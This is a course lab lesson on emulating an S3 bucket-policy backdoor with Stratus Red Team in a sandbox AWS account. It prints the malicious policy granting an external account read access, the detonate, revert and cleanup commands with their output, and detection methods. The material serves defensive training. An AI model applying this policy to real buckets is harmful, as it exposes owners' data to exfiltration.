Lesson 19 of 22
In Progress

[LAB] Backdoor an S3 Bucket via its Bucket Policy

Christophe July 20, 2024
🧪Hands-On Lab
Help/Info

MITRE ATT&CK Tactics

  • Exfiltration

Steps in this lab:

  • Install Stratus Red Team
  • Launch the lab
  • Configure your AWS CLI
  • Warm up the attack
  • Execute the attack
  • Validate backdoor
  • Learn how to detect this threat

While you can start the lab now, it’s recommended that you first install Stratus Red Team since that can take a few minutes.

Install Stratus Red Team

Follow instructions on this page depending on your OS or your preferred method. You can install via:

  • Go
  • Homebrew
  • Pre-built binaries
  • Docker
  • asdf (a runtime version manager)

Configure your AWS CLI

Next, you need to configure your AWS CLI using the lab’s provided credentials. So if you haven’t started the lab yet, go ahead and do that now.

aws configure 

AWS Access Key ID [None]: AKIA...
AWS Secret Access Key [None]: cZ07...
Default region name [None]: us-east-1
Default output format [None]:
Code language: CSS (css)

For this lab, I recommend not using a --profile name, because I haven’t thoroughly tested whether Stratus Red Team supports profile credentials or not.

Even if you configured your CLI with a region, you must export the variable like this to make it accessible to Terraform, which is the tool used to deploy infrastructure:

export AWS_PROFILE=defaultexport AWS_REGION=us-east-1
Code language: JavaScript (javascript)

Note: if you are running on Windows, you will want to use:

set AWS_REGION=us-east-1
❯ set AWS_PROFILE=defaultCode language: JavaScript (javascript)

Or, if you are running Powershell on Windows, then you will want to use:

❯ $env:AWS_REGION="us-east-1"
❯ $env:AWS_PROFILE="default"Code language: PHP (php)

You’ll know whether this isn’t set properly or not, because you’ll get an error saying:

2024/08/07 17:21:51 Checking your authentication against AWS
2024/08/07 17:21:51 you are not authenticated against AWS, *or* you have not set your region. 

Troubleshooting:
1. Are you authenticated against AWS?
2. Do you have a region or default region set (whether in your AWS configuration file or in your environment)? If not, run 'export AWS_REGION=xxx'Code language: PHP (php)

Get familiar with Stratus Red Team

To make sure that everything is properly installed and configured, let’s run this command:

❯ stratus

Usage:
  stratus [command]

Available Commands:
  cleanup     Cleans up any leftover infrastructure or configuration from a TTP.
  completion  Generate the autocompletion script for the specified shell
  detonate    Detonate one or multiple attack techniques
  help        Help about any command
  list        List attack techniques
  revert      Revert the detonation of an attack technique
  show        Displays detailed information about an attack technique.
  status      Display the status of TTPs.
  version     Display the current CLI version
  warmup      "Warm up" an attack technique by spinning up the prerequisite infrastructure or configuration, without detonating it

Flags:
  -h, --help   help for stratus

Use "stratus [command] --help" for more information about a command.

Code language: PHP (php)

You should see a similar output.

To view a list of all supported attack techniques, you can run:

❯ stratus list

View the list of all available attack techniques at: <https://stratus-red-team.cloud/attack-techniques/list/>

+-------------------------------------------------------------+------------------------------------------------------------------+------------+----------------------+
| TECHNIQUE ID                                                | TECHNIQUE NAME                                                   | PLATFORM   | MITRE ATT&CK TACTIC  |
+-------------------------------------------------------------+------------------------------------------------------------------+------------+----------------------+
| aws.credential-access.ec2-get-password-data                 | Retrieve EC2 Password Data                                       | AWS        | Credential Access    |
| aws.credential-access.ec2-steal-instance-credentials        | Steal EC2 Instance Credentials                                   | AWS        | Credential Access    |
| aws.credential-access.secretsmanager-batch-retrieve-secrets | Retrieve a High Number of Secrets Manager secrets (Batch)        | AWS        | Credential Access    |
| aws.credential-access.secretsmanager-retrieve-secrets       | Retrieve a High Number of Secrets Manager secrets                | AWS        | Credential Access    |
...SNIP...
Code language: PHP (php)

However, for this lab, we will only be using the attack technique aws.exfiltration.s3-backdoor-bucket-policy.

Let’s display more information about it:

❯ stratus show aws.exfiltration.s3-backdoor-bucket-policy

Exfiltrates data from an S3 bucket by backdooring its Bucket Policy to allow access from an external, fictitious AWS account.

Warm-up: 

- Create an S3 bucket.

Detonation: 

- Backdoor the S3 Bucket Policy by setting the following Bucket Policy:

<pre>
<code>
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::193672423079:root"
      },
      "Action": [
        "s3:GetObject",
        "s3:GetBucketLocation",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::%s/*",
        "arn:aws:s3:::%s"
      ]
    }
  ]
}
</code>
</pre>
Code language: PHP (php)

This tells us that this attack technique will, during warm-up, create an S3 bucket.

During detonation, it will create and upload the S3 bucket policy that will act as the backdoor policy, and you can see exactly what that policy will look like.

Warm-up vs. Detonate

When using Stratus Red Team, it’s important to understand the difference between warm-up and detonation.

Warm-up simply sets up the required resources to execute the attack. So in this case, we have to have an S3 bucket to execute the attack, which is why the warm-up action will create that S3 bucket.

Then, once we run the detonate command, it will execute the attack itself.

I recommend always running the warmup command first so you can see what was created in your account. Then, you can detonate and compare the end result.

Warming up our attack

So let’s do that. Let’s start by running the warmup command, which will create an S3 bucket for you:

❯ stratus warmup aws.exfiltration.s3-backdoor-bucket-policy

2024/07/19 16:30:46 Checking your authentication against AWS
2024/07/19 16:30:47 Warming up aws.exfiltration.s3-backdoor-bucket-policy
2024/07/19 16:30:47 Applying Terraform to spin up technique prerequisites
2024/07/19 16:30:54 S3 bucket stratus-red-team-bdbp-zkqgfovijw ready

Let’s check that it created successfully:

aws s3 ls   

2024-07-19 16:30:51 stratus-red-team-bdbp-zkqgfovijw
Code language: CSS (css)

Next, you can check the status of attacks with status:

❯ stratus status aws.exfiltration.s3-backdoor-bucket-policy
+--------------------------------------------+---------------------------------------------+--------+
| ID                                         | NAME                                        | STATUS |
+--------------------------------------------+---------------------------------------------+--------+
| aws.exfiltration.s3-backdoor-bucket-policy | Backdoor an S3 Bucket via its Bucket Policy | WARM   |
+--------------------------------------------+---------------------------------------------+--------+

As you can see, Stratus Red Team is sophisticated enough to keep track of state. This is especially important and useful whenever you are running multiple attacks at the same time, or if you have to step away and come back later.

Checking the bucket’s policy

Back to our scenario, if we check the current bucket policy, we can confirm that it hasn’t detonated yet. There is no bucket policy associated with this bucket.

❯ aws s3api get-bucket-policy --bucket stratus-red-team-bdbp-zkqgfovijw

An error occurred (NoSuchBucketPolicy) when calling the GetBucketPolicy operation: The bucket policy does n
ot exist

Code language: JavaScript (javascript)

Detonate!

Let’s detonate!

❯ stratus detonate aws.exfiltration.s3-backdoor-bucket-policy

2024/07/19 16:34:33 Checking your authentication against AWS
2024/07/19 16:34:33 Not warming up - aws.exfiltration.s3-backdoor-bucket-policy is already warm. Use --forc
e to force
2024/07/19 16:34:33 Backdooring bucket policy of stratus-red-team-bdbp-zkqgfovijw

Code language: PHP (php)

Stratus Red Team automatically detects that it has already created the pre-requisite bucket and does not need to perform the warm-up again, and goes straight to executing the attack.

Now, let’s re-check for a policy:

❯ aws s3api get-bucket-policy --bucket stratus-red-team-bdbp-zkqgfovijw

{
    "Policy": "{\\"Version\\":\\"2012-10-17\\",\\"Statement\\":[{\\"Effect\\":\\"Allow\\",\\"Principal\\":{\\"AWS\\":\\"ar
n:aws:iam::193672423079:root\\"},\\"Action\\":[\\"s3:GetObject\\",\\"s3:GetBucketLocation\\",\\"s3:ListBucket\\"],\\"
Resource\\":[\\"arn:aws:s3:::stratus-red-team-bdbp-zkqgfovijw/*\\",\\"arn:aws:s3:::stratus-red-team-bdbp-zkqgfo
vijw\\"]}]}"
}

Code language: JavaScript (javascript)

And there it is! The tool has backdoored this bucket by uploading a bucket policy granting read access to an external AWS account. In this case the account is a fictitious account with ID of 193672423079.

Checking the status

Also now if we re-run status:

❯ stratus status aws.exfiltration.s3-backdoor-bucket-policy

+--------------------------------------------+---------------------------------------------+-----------+
| ID                                         | NAME                                        | STATUS    |
+--------------------------------------------+---------------------------------------------+-----------+
| aws.exfiltration.s3-backdoor-bucket-policy | Backdoor an S3 Bucket via its Bucket Policy | DETONATED |
+--------------------------------------------+---------------------------------------------+-----------+

We will see that it has changed the status to detonated.

Reverting the attack

Once you’re done with your attack, Stratus Red Team has the ability to roll back the changes it made when you detonated with revert:

❯ stratus revert aws.exfiltration.s3-backdoor-bucket-policy

2024/07/19 16:37:18 Checking your authentication against AWS
2024/07/19 16:37:19 Reverting detonation of technique aws.exfiltration.s3-backdoor-bucket-policy
2024/07/19 16:37:19 Removing malicious bucket policy on stratus-red-team-bdbp-zkqgfovijw
+--------------------------------------------+---------------------------------------------+--------+
| ID                                         | NAME                                        | STATUS |
+--------------------------------------------+---------------------------------------------+--------+
| aws.exfiltration.s3-backdoor-bucket-policy | Backdoor an S3 Bucket via its Bucket Policy | WARM   |
+--------------------------------------------+---------------------------------------------+--------+

You can now check for the policy again, and see that it is missing:

❯ aws s3api get-bucket-policy --bucket stratus-red-team-bdbp-ivudhrxaat

An error occurred (NoSuchBucketPolicy) when calling the GetBucketPolicy operation: The bucket policy does not exist
Code language: JavaScript (javascript)

This is helpful if you want to re-run the attack multiple times, since it will keep it ‘warm’ for you.

Clean up

Once you’ve finished running the attack, it’s important that you clean it up. Otherwise, you’re leaving potentially vulnerable resources in your account and you can end up leaving Stratus Red Team in a ‘broken’ state where it’s unable to detonate an attack again since it believes it’s already been detonated. More info on that at the end.

❯ stratus cleanup aws.exfiltration.s3-backdoor-bucket-policy

2024/07/19 16:41:11 Cleaning up aws.exfiltration.s3-backdoor-bucket-policy
2024/07/19 16:41:11 Cleaning up technique prerequisites with terraform destroy
+--------------------------------------------+---------------------------------------------+--------+
| ID                                         | NAME                                        | STATUS |
+--------------------------------------------+---------------------------------------------+--------+
| aws.exfiltration.s3-backdoor-bucket-policy | Backdoor an S3 Bucket via its Bucket Policy | COLD   |
+--------------------------------------------+---------------------------------------------+--------+

Code language: JavaScript (javascript)

In this case, it will delete the backdoor policy (if you haven’t already reverted) and it will delete the bucket itself.

You can verify with:

 aws s3 ls                                                                                                                

Detection

The Stratus Red Team documentation page includes steps that would help us detect this attack. There are three main ways they recommend:

  • Using CloudTrail’s PutBucketPolicy event.
  • Through GuardDuty’s Policy:S3/BucketAnonymousAccessGranted finding, but this would only work if the S3 bucket was made public (and not only shared with an attacker-controlled AWS account).
  • Through IAM Access Analyzer, which generates a finding when an S3 bucket is made public or accessible from another account.

Conclusion

Congrats! You’ve successfully run Stratus Red Team and detonated your first attack.

Pro tip:

If you forget to run the cleanup command, your Stratus Red Team tool will keep it in a detonated or warm state, which will prevent you from launching that attack again (even in your own environments). To get around this, you have to delete the status files. Where these status files are stored depends on how you installed Stratus Red Team, but for example, using Homebrew, they would be located in: /Users/username/.stratus-red-team/

So for example, for this lab and for my system, it would be in /Users/christophe/.stratus-red-team/aws.exfiltration.s3-backdoor-bucket-policy

Within that directory, you will see a bunch of Terraform files. You can delete them, and it will reset your status to cold in the Stratus Red Team tool.

Obviously, you shouldn’t need to do this if you run cleanup, and you also wouldn’t want to do this in a regular account since you want to properly clean up all the created or modified resources. But with our labs, you may need to do that.

Responses

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.